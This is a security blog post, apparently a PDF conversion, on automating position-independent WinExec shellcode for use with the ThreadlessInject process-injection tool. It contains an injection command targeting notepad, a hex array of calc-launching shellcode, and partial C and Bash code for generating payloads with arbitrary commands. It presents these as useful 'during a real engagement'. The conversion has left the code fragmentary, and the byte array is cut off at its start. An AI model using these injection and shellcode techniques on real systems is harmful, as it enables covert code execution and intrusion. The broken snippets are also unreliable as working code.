2023-02-14 - Adopting Position Independent Shellcodes From Object Files in Memory For Threadless Injection
2023-02-14 - Adopting Position Independent Shellcodes From Object Files in Memory For Threadless Injection
In this blog I will describe a way to automate the generation of Position Independent
Shellcodes from object files in memory (by @NinjaParanoid) to be used in Threadless
Process Injection (by @_EthicalChaos_).
Pop-the-Calc Shellcode
While playing with ThreadlessInject and porting it to the DInvoke API, one of the obvious
desires of mine was to test it with a different shellcode. As a Proof-of-Concept Ceri provides a
classic Pop-the-Calc shellcode which works smoothly but may not be enough during a real
engagement:
1/8
$notepadId = (Start-Process notepad -PassThru).Id; .\ThreadlessInject.exe -p
$notepadId -d kernel32.dll -e OpenProcess
2/8
Unwanted termination of parent process with MSF shellcode
Changing the EXITFUNC= option during the generation process doesn’t seem to be helpful:
It’s a known thing that MSF-exec payloads are better to be started from a fresh thread ‘cause
the shellcode doesn’t treat the stack gently. Furthermore, a hint about the required shellcode
behavior is kindly left by the author of ThreadlessInject in the comments:
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3 };
3/8
That is to say, the ret instruction should be supplied when the shellcode’s job is done in
order to return the execution flow back to the caller (i. e., the assembly stub) as well as
proper stack alignment should be performed with registers preserved. So let’s take a look at
both shellcodes side-by-side with objdump.
As we can see no ret is observed within the MSF shellcode… Dunno whether the dynamic
way of MSF generator puts the CMD= value onto the stack (via that call rbp instruction)
does also negatively impacts our situation but we definitely don’t get desired behavior – the
parent process dies.
4/8
Look for less-known open source shellcode generators for Windows x64 – failed due to
a total lack of them (though win-x86-shellcoder seems to be a nice project for x86).
Use an existing Pop-the-Calc .asm file as template for generating a WinExec shellcode
with an arbitrary argument (OS command) – failed due me being lazy. Good examples
of such ‘static’ calc shellcodes (with a static lpCmdLine argument for WinExec) are
win-exec-calc-shellcode and x64win-DynamicNoNull-WinExec-PopCalc-Shellcode by
Bobby Cooke.
Play with popular PE → shellcode techniques like sRDI, donut, pe_to_shellcode, etc.
While testing the 3rd option I came along this terrific article by @KlezVirus – From Process
Injection to Function Hijacking – which covers Function Stomping topic in great depth
(one more blogpost in my TODOs).
As I was looking for a quick example to be used with ThreadlessInject, my attention was
caught by one of the references to another blog of maldev magician Chetan Nayak –
Executing Position Independent Shellcode from Object Files in Memory – which we shall
focus on further.
In order to make sure that our shellcode is always stack aligned, we will write a small assembly
stub which will align the stack and call our C function which would act as our entrypoint. We
will convert this assembly code to an object file which we will later link to our C source code. –
Chetan Nayak (@NinjaParanoid)
5/8
alignstack assembly stub (bruteratel.com)
With the ability to dynamically resolve exported symbols of WinExec (which resides within
kernel32.dll ) we can extract the opcodes from the compiled binary and use them as a
Position Independent shellcode. That’s exactly what we need!
I shall git clone his demo repository and write a template to execute a command of my choice
using WinExec based on the given example of constructing the getprivs function:
// template.c
#include "addresshunter.h"
#include <stdio.h>
void exec() {
UINT64 kernel32dll;
UINT64 WinExecFunc;
kernel32dll = GetKernel32();
((WINEXEC)WinExecFunc)(cmd_c, <SHOWWINDOW>);
Then with a bit of Bash automation we get a working alternative for the MSF
windows/x64/exec CMD= -f raw payload generator:
6/8
#!/usr/bin/env bash
# Usage:
# Examples:
# generate.sh 'calc.exe' 10
CMD="${1}"
SHOWWINDOW="${2}" # https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-
winuser-showwindow
CMD="${CMD//\\/\\\\\\\\}"
echo -e `for i in $(objdump -d exec.exe | grep "^ " | cut -f2); do echo -n "\x$i";
done` > exec.bin
if [ -f exec.bin ]; then
fi
7/8
Execution of customly generated shellcode
Happy hacking!
References
8/8